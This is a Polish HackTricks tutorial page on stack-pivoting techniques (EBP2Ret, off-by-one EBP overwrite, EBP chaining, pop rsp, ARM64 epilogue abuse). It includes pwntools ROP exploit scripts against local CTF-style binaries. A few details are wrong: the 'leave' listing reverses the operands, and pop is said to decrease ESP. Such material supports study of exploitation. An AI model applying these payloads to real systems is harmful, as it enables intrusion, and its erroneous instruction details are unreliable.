Stack Pivoting - EBP2Ret - EBP chaining

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Ta technika wykorzystuje możliwość manipulacji Wskaźnikiem Bazowym (EBP) do łańcuchowego wykonywania wielu funkcji poprzez ostrożne wykorzystanie rejestru EBP i sekwencji instrukcji leave; ret.

Jako przypomnienie, leave oznacza w zasadzie:

mov       ebp, esp
pop       ebp
ret

I ponieważ EBP znajduje się na stosie przed EIP, możliwe jest jego kontrolowanie poprzez kontrolowanie stosu.

EBP2Ret

Ta technika jest szczególnie przydatna, gdy można zmienić rejestr EBP, ale nie ma bezpośredniego sposobu na zmianę rejestru EIP. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonywania.

Jeśli podczas wykonywania fvuln uda ci się wstrzyknąć fałszywy EBP na stosie wskazujący na obszar w pamięci, gdzie znajduje się adres twojego shellcode'a (plus 4 bajty na operację pop), możesz pośrednio kontrolować EIP. Gdy fvuln zwraca, ESP jest ustawiane na ten spreparowany adres, a następna operacja pop zmniejsza ESP o 4 bajty, skutecznie wskazując na adres przechowywany przez atakującego. Zauważ, że musisz znać 2 adresy: Ten, gdzie ma trafić ESP, gdzie będziesz musiał zapisać adres wskazywany przez ESP.

Konstrukcja Exploitu

Najpierw musisz znać adres, gdzie możesz pisać dowolne dane / adresy. ESP będzie wskazywał tutaj i wykona pierwsze ret.

Następnie musisz znać adres używany przez ret, który wykona kod dowolny. Możesz użyć:

  • Prawidłowy adres ONE_GADGET.

  • Adres system() po którym następuje 4 nieistotne bajty i adres "/bin/sh" (bity x86).

  • Adres gadżetu jump esp; (ret2esp) po którym następuje shellcode do wykonania.

  • Pewną łańcuch ROP.

Pamiętaj, że przed każdym z tych adresów w kontrolowanej części pamięci muszą być 4 bajty ze względu na część pop instrukcji leave. Można byłoby wykorzystać te 4B, aby ustawić drugiego fałszywego EBP i kontynuować kontrolowanie wykonania.

Exploit Off-By-One

Istnieje specyficzna wersja tej techniki znana jako "Exploit Off-By-One". Jest używana, gdy można zmodyfikować tylko najmniej znaczący bajt EBP. W takim przypadku lokalizacja pamięci przechowująca adres do skoku z ret musi dzielić trzy pierwsze bajty z EBP, co pozwala na podobną manipulację przy bardziej ograniczonych warunkach. Zazwyczaj modyfikuje się bajt 0x00, aby skakać jak najdalej.

Ponadto, często stosuje się ślizgak RET na stosie i umieszcza prawdziwą łańcuch ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy ESP wskaże do środka RET SLED, a ostateczny łańcuch ROP zostanie wykonany.

Łańcuchowanie EBP

Dlatego umieszczenie kontrolowanego adresu w wpisie EBP na stosie i adresu leave; ret w EIP pozwala na przeniesienie ESP do kontrolowanego adresu EBP ze stosu.

Teraz ESP jest kontrolowany wskazując na pożądany adres, a następną instrukcją do wykonania jest RET. Aby wykorzystać to, można umieścić w kontrolowanym miejscu ESP to:

  • &(następny fałszywy EBP) -> Wczytaj nowy EBP z powodu pop ebp z instrukcji leave

  • system() -> Wywołane przez ret

  • &(leave;ret) -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i zacznie ponownie

  • &("/bin/sh")-> Parametr dla system

W ten sposób można łańcuchować kilka fałszywych EBPs, aby kontrolować przepływ programu.

To jest jak ret2lib, ale bardziej złożone bez oczywistej korzyści, ale może być interesujące w niektórych przypadkach skrajnych.

Ponadto, tutaj masz przykład wyzwania, które wykorzystuje tę technikę z wyciekiem stosu do wywołania funkcji wygrywającej. To jest ostateczny ładunek ze strony:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP może nie być używany

Jak wyjaśniono w tym poście, jeśli binarny jest skompilowany z pewnymi optymalizacjami, EBP nigdy nie kontroluje ESP, dlatego też, każdy exploit działający poprzez kontrolę EBP zasadniczo zawiedzie, ponieważ nie ma on żadnego rzeczywistego efektu. Dzieje się tak, ponieważ prolog i epilog ulegają zmianie, jeśli binarny jest zoptymalizowany.

  • Niezoptymalizowany:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Zoptymalizowany:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Inne sposoby kontrolowania RSP

Gadżet pop rsp

Na tej stronie znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a dostępny był gadżet pop rsp oraz wyciek ze stosu:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

urządzenie xchg <reg>, rsp

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Sprawdź technikę ret2esp tutaj:

Odnośniki i Inne Przykłady

ARM64

W ARM64, prologi i epilogi funkcji nie przechowują i nie przywracają rejestru SP na stosie. Ponadto instrukcja RET nie zwraca do adresu wskazywanego przez SP, ale do adresu wewnątrz x30.

Dlatego domyślnie, nadużywając tylko epilogu, nie będziesz w stanie kontrolować rejestru SP poprzez nadpisanie danych na stosie. Nawet jeśli uda ci się kontrolować SP, nadal potrzebujesz sposobu na kontrolę rejestru x30.

  • prolog

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP wskazuje na rekord ramki
  • epilog

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Sposobem na wykonanie czegoś podobnego do obracania stosu w ARM64 byłoby umożliwienie kontroli rejestru SP (poprzez kontrolę jakiegoś rejestru, którego wartość jest przekazywana do SP lub dlatego, że z jakiegoś powodu SP pobiera swój adres ze stosu i mamy przepełnienie) a następnie nadużycie epilogu do wczytania rejestru x30 z kontrolowanego SP i RET do niego.

Na następnej stronie możesz zobaczyć odpowiednik Ret2esp w ARM64:

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated